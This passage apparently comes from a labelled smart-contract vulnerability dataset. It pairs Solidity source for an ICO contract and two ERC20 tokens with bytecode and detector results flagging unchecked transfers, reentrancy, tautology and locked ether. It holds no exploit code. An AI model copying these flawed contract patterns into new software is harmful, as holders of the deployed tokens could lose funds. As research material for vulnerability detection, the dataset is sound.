LogFundingReceived(user, msg.value, totalRaised); //Log the purchase checkIfFundingCompleteOrExpired(); //Execute state checks } /** * @notice Funtion to let users claim their tokens at the end of ico process */ function claimTokensByUser() public{ require(state == State.Successful); //Once ico is successful uint256 temp = pending[msg.sender]; //Get the user pending balance pending[msg.sender] = 0; //Clear it require(tokenReward.transfer(msg.sender,temp)); //Try to transfer emit LogContributorsPayout(msg.sender,temp); //Log the claim } /** * @notice Funtion to let admins claim users tokens on behalf of them at the end of ico process * @param _user Target user of token claim */ function claimTokensByAdmin(address _user) onlyAdmin(1) public{ require(state == State.Successful); //Once ico is successful uint256 temp = pending[_user]; //Get the user pending balance pending[_user] = 0; //Clear it require(tokenReward.transfer(_user,temp)); //Try to transfer emit LogContributorsPayout(_user,temp); //Log the claim } /** * @notice Process to check contract current status */ function checkIfFundingCompleteOrExpired() public { //If hardacap or deadline is reached and not yet successful if ( (totalDistributed == hardCap || now > SaleDeadline) && state != State.Successful && state != State.Paused) { //remanent tokens are assigned to creator for later handle pending[creator] = tokenReward.balanceOf(address(this)).sub(totalDistributed); state = State.Successful; //ICO becomes Successful completedAt = now; //ICO is complete emit LogFundingSuccessful(totalRaised); //we log the finish successful(); //and execute closure } } /** * @notice successful closure handler */ function successful() public { require(state == State.Successful); //When successful uint256 temp = pending[creator]; //Remanent tokens handle pending[creator] = 0; //Clear user balance require(tokenReward.transfer(creator,temp)); //Try to transfer emit LogContributorsPayout(creator,temp); //Log transaction creator.transfer(address(this).balance); //After successful, eth is send to creator emit LogBeneficiaryPaid(creator); //Log transaction } /** * @notice Function to claim any token stuck on contract * @param _address Address of target token */ function externalTokensRecovery(ERC20Basic _address) onlyAdmin(2) public{ require(state == State.Successful); //Only when sale finish require(_address != address(tokenReward)); //Target token must be different from token on sale uint256 remainder = _address.balanceOf(this); //Check remainder tokens _address.transfer(msg.sender,remainder); //Transfer tokens to admin } /* * @dev Direct payments handler */ function () public payable { contribute(address(0)); //Forward to contribute function } }
0x6080604052600436106101325763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166302d05d3f811461013e5780630cfed2a21461016f5780632e6b921c14610189578063372c12b1146101aa57806337a5fbab146101df57806338771242146102065780634c801cee1461021b57806354fd4d501461023c5780635eebea20146102c65780636e66f6e9146102e757806373e888fd146102fc57806386f32586146103105780639a9e3fd814610325578063b9a45aac1461033a578063bc05529b14610360578063c19d93fb14610375578063c5c4744c146103ae578063c9c80a56146103c3578063cd13592a146103ea578063d41b6db6146103ff578063efca2eed14610436578063fa147e5e1461044b578063fb86a4041461049b575b61013c60006104b0565b005b34801561014a57600080fd5b506101536108de565b60408051600160a060020a039092168252519081900360200190f35b34801561017b57600080fd5b5061013c60043515156108ed565b34801561019557600080fd5b5061013c600160a060020a0360043516610a63565b3480156101b657600080fd5b506101cb600160a060020a0360043516610b90565b604080519115158252519081900360200190f35b3480156101eb57600080fd5b506101f4610ba5565b60408051918252519081900360200190f35b34801561021257600080fd5b506101f4610bad565b34801561022757600080fd5b5061013c600160a060020a0360043516610bb3565b34801561024857600080fd5b50610251610d1a565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561028b578181015183820152602001610273565b50505050905090810190601f1680156102b85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102d257600080fd5b506101f4600160a060020a0360043516610da8565b3480156102f357600080fd5b50610153610dba565b61013c600160a060020a03600435166104b0565b34801561031c57600080fd5b5061013c610dc9565b34801561033157600080fd5b5061013c610f2e565b34801561034657600080fd5b5061013c600160a060020a036004351660243515156110bd565b34801561036c57600080fd5b506101f461110b565b34801561038157600080fd5b5061038a611111565b6040518082600281111561039a57fe5b60ff16815260200191505060405180910390f35b3480156103ba57600080fd5b506101f461111a565b3480156103cf57600080fd5b5061013c600160a060020a036004351660ff60243516611120565b3480156103f657600080fd5b5061013c6111bb565b34801561040b57600080fd5b50610420600160a060020a03600435166112bf565b6040805160ff9092168252519081900360200190f35b34801561044257600080fd5b506101f46112d4565b34801561045757600080fd5b506104606112da565b6040518082600260200280838360005b83811015610488578181015183820152602001610470565b5050505090500191505060405180910390f35b3480156104a757600080fd5b506101f46113bd565b6000808080600260015460ff1660028111156104c857fe5b141580156104e657506001805460ff1660028111156104e357fe5b14155b15156104f157600080fd5b635b1197b0421161050157600080fd5b600160a060020a0385161580159061052e575033600090815260208190526040902054600160ff90911610155b1561053b5784935061053f565b3393505b600160a060020a03841660009081526011602052604090205460ff16151560011461056957600080fd5b60045461057c903463ffffffff6113c316565b60045560125461059390349063ffffffff6113d916565b9250600091508290506000600b54111561063f57600b54811161060357600b546105c3908263ffffffff6113fd16565b600b556105f86105eb600a6105df84600263ffffffff6113d916565b9063ffffffff61140f16565b839063ffffffff6113c316565b91506000905061063f565b600b5461061790829063ffffffff6113fd16565b90506106376105eb600a6105df6002600b546113d990919063ffffffff16565b6000600b5591505b6000600c541180156106515750600081115b156106d557600c54811161069957600c54610672908263ffffffff6113fd16565b600c5561068e6105eb60646105df84600f63ffffffff6113d916565b9150600090506106d5565b600c546106ad90829063ffffffff6113fd16565b90506106cd6105eb60646105df600f600c546113d990919063ffffffff16565b6000600c5591505b6000600d541180156106e75750600081115b1561076157600d54811161072a57600d54610708908263ffffffff6113fd16565b600d5561071f6105eb82600a63ffffffff61140f16565b915060009050610761565b600d5461073e90829063ffffffff6113fd16565b90506107596105eb600a600d5461140f90919063ffffffff16565b6000600d5591505b6000600e541180156107735750600081115b156107f757600e5481116107bb57600e54610794908263ffffffff6113fd16565b600e556107b06105eb60646105df84600563ffffffff6113d916565b9150600090506107f7565b600e546107cf90829063ffffffff6113fd16565b90506107ef6105eb60646105df6005600e546113d990919063ffffffff16565b6000600e5591505b610807838363ffffffff6113c316565b9250600754610821846005546113c390919063ffffffff16565b111561082c57600080fd5b600160a060020a038416600090815260086020526040902054610855908463ffffffff6113c316565b600160a060020a038516600090815260086020526040902055600554610881908463ffffffff6113c316565b60055560045460408051600160a060020a038716815234602082015280820192909252517f304e48bb03eae5e9bf3575d270648664895983e116a51773a65e9f3341b3b40e9181900360600190a16108d7610dc9565b5050505050565b600954600160a060020a031681565b3360009081526020819052604090205460029060ff1681111561090f57600080fd5b600260015460ff16600281111561092257fe5b141561092d57600080fd5b600182151514156109d4576001805460ff16600281111561094a57fe5b141561095557600080fd5b600180546010805460ff90921692909160ff19169083600281111561097657fe5b021790555060025461098e904263ffffffff6113fd16565b600f556001805460ff19168117815560408051918252517f6425242feb99094796c337707d805c9ebce33de25afbef5c76bf17969465c7c89181900360200190a1610a5f565b6001805460ff1660028111156109e657fe5b146109f057600080fd5b6010546001805460ff9092169160ff191681836002811115610a0e57fe5b0217905550600f54610a2790429063ffffffff6113c316565b600255604080516000815290517f6425242feb99094796c337707d805c9ebce33de25afbef5c76bf17969465c7c89181900360200190a15b5050565b3360009081526020819052604081205460019060ff16811115610a8557600080fd5b600260015460ff166002811115610a9857fe5b14610aa257600080fd5b600160a060020a038084166000818152600860209081526040808320805490849055600654825160e060020a63a9059cbb028152600481019690965260248601829052915190975094169363a9059cbb93604480820194918390030190829087803b158015610b1057600080fd5b505af1158015610b24573d6000803e3d6000fd5b505050506040513d6020811015610b3a57600080fd5b50511515610b4757600080fd5b60408051600160a060020a03851681526020810184905281517faeb3ebd09ef847781ae7d846d2c9afbbb08cfbcad76e92d3206303aa30d24226929181900390910190a1505050565b60116020526000908152604090205460ff1681565b635b1197b081565b60035481565b3360009081526020819052604081205460029060ff16811115610bd557600080fd5b600260015460ff166002811115610be857fe5b14610bf257600080fd5b600654600160a060020a0384811691161415610c0d57600080fd5b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a038516916370a082319160248083019260209291908290030181600087803b158015610c6e57600080fd5b505af1158015610c82573d6000803e3d6000fd5b505050506040513d6020811015610c9857600080fd5b50516040805160e060020a63a9059cbb028152336004820152602481018390529051919350600160a060020a0385169163a9059cbb916044808201926020929091908290030181600087803b158015610cf057600080fd5b505af1158015610d04573d6000803e3d6000fd5b505050506040513d60208110156108d757600080fd5b600a805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610da05780601f10610d7557610100808354040283529160200191610da0565b820191906000526020600020905b815481529060010190602001808311610d8357829003601f168201915b505050505081565b60086020526000908152604090205481565b600654600160a060020a031681565b6007546005541480610ddc575060025442115b8015610df95750600260015460ff166002811115610df657fe5b14155b8015610e1557506001805460ff166002811115610e1257fe5b14155b15610f2c57600554600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051610ebd9392600160a060020a0316916370a082319160248083019260209291908290030181600087803b158015610e8557600080fd5b505af1158015610e99573d6000803e3d6000fd5b505050506040513d6020811015610eaf57600080fd5b50519063ffffffff6113fd16565b600954600160a060020a0316600090815260086020526040902055600180546002919060ff1916818302179055504260035560045460408051918252517fee94ee98208684c00eeba940c34a6060b93671b249abd182b4771b74bf94e2dd9181900360200190a1610f2c610f2e565b565b6000600260015460ff166002811115610f4357fe5b14610f4d57600080fd5b5060098054600160a060020a0390811660009081526008602090815260408083208054908490556006549554825160e060020a63a9059cbb028152908616600482015260248101829052915190959094169363a9059cbb93604480840194938390030190829087803b158015610fc257600080fd5b505af1158015610fd6573d6000803e3d6000fd5b505050506040513d6020811015610fec57600080fd5b50511515610ff957600080fd5b60095460408051600160a060020a0390921682526020820183905280517faeb3ebd09ef847781ae7d846d2c9afbbb08cfbcad76e92d3206303aa30d242269281900390910190a1600954604051600160a060020a0390911690303180156108fc02916000818181858888f1935050505015801561107a573d6000803e3d6000fd5b5060095460408051600160a060020a039092168252517f101a889b1c7c3bf4e0c37353cfe1554e47e39c747e25a6d330d0553dd93bd1eb9181900360200190a150565b3360009081526020819052604090205460019060ff168111156110df57600080fd5b50600160a060020a03919091166000908152601160205260409020805460ff1916911515919091179055565b60025481565b60015460ff1681565b60045481565b3360009081526020819052604090205460029060ff1681111561114257600080fd5b600160a060020a038316151561115757600080fd5b600160a060020a03831660008181526020818152604091829020805460ff191660ff871690811790915582519384529083015280517f9b810ace296ded7f98c91fe8d22aa69c4ef152d64f1fbf1cfa9d6bb10627b3009281900390910190a1505050565b6000600260015460ff1660028111156111d057fe5b146111da57600080fd5b50336000818152600860209081526040808320805490849055600654825160e060020a63a9059cbb02815260048101969096526024860182905291519094600160a060020a039092169363a9059cbb93604480850194919392918390030190829087803b15801561124a57600080fd5b505af115801561125e573d6000803e3d6000fd5b505050506040513d602081101561127457600080fd5b5051151561128157600080fd5b604080513381526020810183905281517faeb3ebd09ef847781ae7d846d2c9afbbb08cfbcad76e92d3206303aa30d24226929181900390910190a150565b60006020819052908152604090205460ff1681565b60055481565b6112e2611426565b6000806112fc6005546007546113fd90919063ffffffff16565b915061132961131c600a6105df6002600b546113d990919063ffffffff16565b839063ffffffff6113fd16565b905061135661134960646105df600f600c546113d990919063ffffffff16565b829063ffffffff6113fd16565b9050611371611349600a600d5461140f90919063ffffffff16565b905061139161134960646105df6005600e546113d990919063ffffffff16565b90506113a581610bb863ffffffff61140f16565b60408051808201909152928352602083015250919050565b60075481565b6000828201838110156113d257fe5b9392505050565b60008282028315806113f557508284828115156113f257fe5b04145b15156113d257fe5b60008282111561140957fe5b50900390565b600080828481151561141d57fe5b04949350505050565b604080518082018252906002908290803883395091929150505600a165627a7a723058204af597fc97be3b1baea317affe2a58a2230b00747efe736baef293b41f03f3390029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
9,574
0xae66dda93a2ac29e45136e9c4558dc35762c6089
pragma solidity ^0.4.18; /** ---------------------------------------------------------------------------------------------- * ZJLTToken by ZJLT Distributed Factoring Network Limited. * An ERC20 standard * * author: ZJLT Distributed Factoring Network Team */ /** * @title SafeMath * @dev Math operations with safety checks that throw on error. */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20 { uint256 public totalSupply; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function allowance(address owner, address spender) public view returns (uint256); function approve(address spender, uint256 value) public returns (bool); function transferFrom(address from, address to, uint256 value) public returns (bool); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } interface TokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract TokenERC20 is ERC20, Ownable{ // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it using SafeMath for uint256; // Balances mapping (address => uint256) balances; // Allowances mapping (address => mapping (address => uint256)) allowances; // ----- Events ----- event Burn(address indexed from, uint256 value); /** * Constructor function */ function TokenERC20(uint256 _initialSupply, string _tokenName, string _tokenSymbol, uint8 _decimals) public { name = _tokenName; // Set the name for display purposes symbol = _tokenSymbol; // Set the symbol for display purposes decimals = _decimals; totalSupply = _initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balances[msg.sender] = totalSupply; // Give the creator all initial tokens } /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { if(msg.data.length < size + 4) { revert(); } _; } function balanceOf(address _owner) public view returns(uint256) { return balances[_owner]; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowances[_owner][_spender]; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal returns(bool) { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balances[_from] >= _value); // Check for overflows require(balances[_to] + _value > balances[_to]); require(_value >= 0); // Save this for an assertion in the future uint previousBalances = balances[_from].add(balances[_to]); // SafeMath.sub will throw if there is not enough balance. balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balances[_from] + balances[_to] == previousBalances); return true; } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public returns(bool) { return _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns(bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value > 0); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowances[_from][msg.sender] = allowances[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns(bool) { require((_value == 0) || (allowances[msg.sender][_spender] == 0)); allowances[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns(bool) { if (approve(_spender, _value)) { TokenRecipient spender = TokenRecipient(_spender); spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } return false; } /** * @dev Transfer tokens to multiple addresses * @param _addresses The addresses that will receieve tokens * @param _amounts The quantity of tokens that will be transferred * @return True if the tokens are transferred correctly */ function transferForMultiAddresses(address[] _addresses, uint256[] _amounts) public returns (bool) { for (uint256 i = 0; i < _addresses.length; i++) { require(_addresses[i] != address(0)); require(_amounts[i] <= balances[msg.sender]); require(_amounts[i] > 0); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_amounts[i]); balances[_addresses[i]] = balances[_addresses[i]].add(_amounts[i]); emit Transfer(msg.sender, _addresses[i], _amounts[i]); } return true; } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns(bool) { require(balances[msg.sender] >= _value); // Check if the sender has enough balances[msg.sender] = balances[msg.sender].sub(_value); // Subtract from the sender totalSupply = totalSupply.sub(_value); // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns(bool) { require(balances[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowances[_from][msg.sender]); // Check allowance balances[_from] = balances[_from].sub(_value); // Subtract from the targeted balance allowances[_from][msg.sender] = allowances[_from][msg.sender].sub(_value); // Subtract from the sender's allowance totalSupply = totalSupply.sub(_value); // Update totalSupply emit Burn(_from, _value); return true; } /** * approve should be called when allowances[_spender] == 0. To increment * allowances value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { // Check for overflows require(allowances[msg.sender][_spender].add(_addedValue) > allowances[msg.sender][_spender]); allowances[msg.sender][_spender] =allowances[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowances[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowances[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowances[msg.sender][_spender] = 0; } else { allowances[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowances[msg.sender][_spender]); return true; } } contract ZJLToken is TokenERC20 { function ZJLToken() TokenERC20(2500000000, "ZJLToken", "ZJLT", 18) public { } function () payable public { //if ether is sent to this address, send it back. //throw; require(false); } }
0x6060604052600436106100f05763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100f7578063095ea7b31461018157806318160ddd146101b7578063204009d2146101dc57806323b872dd1461026b578063313ce5671461029357806342966c68146102bc57806366188463146102d257806370a08231146102f457806379cc6790146103135780638da5cb5b1461033557806395d89b4114610364578063a9059cbb14610377578063cae9ca5114610399578063d73dd623146103fe578063dd62ed3e14610420578063f2fde38b14610445575b600080fd5b005b341561010257600080fd5b61010a610464565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561014657808201518382015260200161012e565b50505050905090810190601f1680156101735780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018c57600080fd5b6101a3600160a060020a0360043516602435610502565b604051901515815260200160405180910390f35b34156101c257600080fd5b6101ca6105a8565b60405190815260200160405180910390f35b34156101e757600080fd5b6101a36004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496506105ae95505050505050565b341561027657600080fd5b6101a3600160a060020a03600435811690602435166044356107aa565b341561029e57600080fd5b6102a6610906565b60405160ff909116815260200160405180910390f35b34156102c757600080fd5b6101a360043561090f565b34156102dd57600080fd5b6101a3600160a060020a03600435166024356109d3565b34156102ff57600080fd5b6101ca600160a060020a0360043516610acd565b341561031e57600080fd5b6101a3600160a060020a0360043516602435610ae8565b341561034057600080fd5b610348610c33565b604051600160a060020a03909116815260200160405180910390f35b341561036f57600080fd5b61010a610c42565b341561038257600080fd5b6101a3600160a060020a0360043516602435610cad565b34156103a457600080fd5b6101a360048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610cc195505050505050565b341561040957600080fd5b6101a3600160a060020a0360043516602435610dfa565b341561042b57600080fd5b6101ca600160a060020a0360043581169060243516610ed8565b341561045057600080fd5b6100f5600160a060020a0360043516610f03565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104fa5780601f106104cf576101008083540402835291602001916104fa565b820191906000526020600020905b8154815290600101906020018083116104dd57829003601f168201915b505050505081565b60008115806105345750600160a060020a03338116600090815260066020908152604080832093871683529290522054155b151561053f57600080fd5b600160a060020a03338116600081815260066020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005481565b6000805b83518110156107a05760008482815181106105c957fe5b90602001906020020151600160a060020a031614156105e757600080fd5b600160a060020a03331660009081526005602052604090205483828151811061060c57fe5b90602001906020020151111561062157600080fd5b600083828151811061062f57fe5b906020019060200201511161064357600080fd5b61068183828151811061065257fe5b90602001906020020151600160a060020a0333166000908152600560205260409020549063ffffffff610f9e16565b600160a060020a0333166000908152600560205260409020556106f38382815181106106a957fe5b90602001906020020151600560008785815181106106c357fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff610fb016565b6005600086848151811061070357fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205583818151811061073357fe5b90602001906020020151600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85848151811061077d57fe5b9060200190602002015160405190815260200160405180910390a36001016105b2565b5060019392505050565b6000600160a060020a03831615156107c157600080fd5b600160a060020a0384166000908152600560205260409020548211156107e657600080fd5b600082116107f357600080fd5b600160a060020a03841660009081526005602052604090205461081c908363ffffffff610f9e16565b600160a060020a038086166000908152600560205260408082209390935590851681522054610851908363ffffffff610fb016565b600160a060020a03808516600090815260056020908152604080832094909455878316825260068152838220339093168252919091522054610899908363ffffffff610f9e16565b600160a060020a03808616600081815260066020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b60045460ff1681565b600160a060020a0333166000908152600560205260408120548290101561093557600080fd5b600160a060020a03331660009081526005602052604090205461095e908363ffffffff610f9e16565b600160a060020a0333166000908152600560205260408120919091555461098b908363ffffffff610f9e16565b600055600160a060020a0333167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a2506001919050565b600160a060020a03338116600090815260066020908152604080832093861683529290529081205480831115610a3057600160a060020a033381166000908152600660209081526040808320938816835292905290812055610a67565b610a40818463ffffffff610f9e16565b600160a060020a033381166000908152600660209081526040808320938916835292905220555b600160a060020a0333811660008181526006602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526005602052604090205490565b600160a060020a03821660009081526005602052604081205482901015610b0e57600080fd5b600160a060020a0380841660009081526006602090815260408083203390941683529290522054821115610b4157600080fd5b600160a060020a038316600090815260056020526040902054610b6a908363ffffffff610f9e16565b600160a060020a0380851660009081526005602090815260408083209490945560068152838220339093168252919091522054610bad908363ffffffff610f9e16565b600160a060020a0380851660009081526006602090815260408083203390941683529290529081209190915554610bea908363ffffffff610f9e16565b600055600160a060020a0383167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a250600192915050565b600154600160a060020a031681565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104fa5780601f106104cf576101008083540402835291602001916104fa565b6000610cba338484610fbf565b9392505050565b600080610cce8585610502565b15610ded575083600160a060020a038116638f4ffcb1338630876040518563ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610d86578082015183820152602001610d6e565b50505050905090810190601f168015610db35780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1515610dd457600080fd5b5af11515610de157600080fd5b50505060019150610df2565b600091505b509392505050565b600160a060020a033381166000908152600660209081526040808320938616835292905290812054610e2c8184610fb0565b11610e3657600080fd5b600160a060020a03338116600090815260066020908152604080832093871683529290522054610e6c908363ffffffff610fb016565b600160a060020a0333811660008181526006602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260066020908152604080832093909416825291909152205490565b60015433600160a060020a03908116911614610f1e57600080fd5b600160a060020a0381161515610f3357600080fd5b600154600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610faa57fe5b50900390565b600082820183811015610cba57fe5b600080600160a060020a0384161515610fd757600080fd5b600160a060020a03851660009081526005602052604090205483901015610ffd57600080fd5b600160a060020a0384166000908152600560205260409020548381011161102357600080fd5b600083101561103157600080fd5b600160a060020a038085166000908152600560205260408082205492881682529020546110639163ffffffff610fb016565b600160a060020a03861660009081526005602052604090205490915061108f908463ffffffff610f9e16565b600160a060020a0380871660009081526005602052604080822093909355908616815220546110c4908463ffffffff610fb016565b600160a060020a03808616600081815260056020526040908190209390935591908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a3600160a060020a0380851660009081526005602052604080822054928816825290205401811461114757fe5b5060019493505050505600a165627a7a72305820fa929d13040b39b887871f5118cb2f27a0edf317e05502259ba14a9e6e95c3a20029
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
9,575
0x51f5023952479dacaaa0f7b2a359a6438bd83052
/** *Submitted for verification at Etherscan.io on 2022-01-16 */ /* $ABBYINU is a decentralized token inspired by one of the world’s most loyal and protective dog breeds, a German Shepherd. The true goal of this project is to bring a revolutionary DEX into the meme coin universe. This project seems stable and the team trustworthy. We take our community serious! We´re one with them and they will always be our #1. That´s why we have something unique which makes us different from the other projects. OUR REFLECTIONS ARE IN ETH 💥💥 TOKENOMICS Total Tax: 10%: 5% Marketing 2% Auto Liquidity 2% ETH Reflections 1% FTP Service (To Claim ETH Reflections) 25% Tax on Sells within 24 hours of 'First Initial Buy' SPECIALS ⭐️ Abby Staking for ADEX Tokens ⭐️ P2E Video Game on Matic Network ⭐️ Bridge to bsc and matic ⭐️ Giveaways ⭐️ Unique NFT´s 🔒 | Liquidity will lock 2 months after launch, relock 2 Year 👨‍💻Website: http://www.Abbyinu.com 💬Telegram: https://t.me/AbbyInu 🐦Twitter: https://twitter.com/AbbyInuOfficial 🎙Reddit: https://www.reddit.com/r/AbbyINU/ */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory 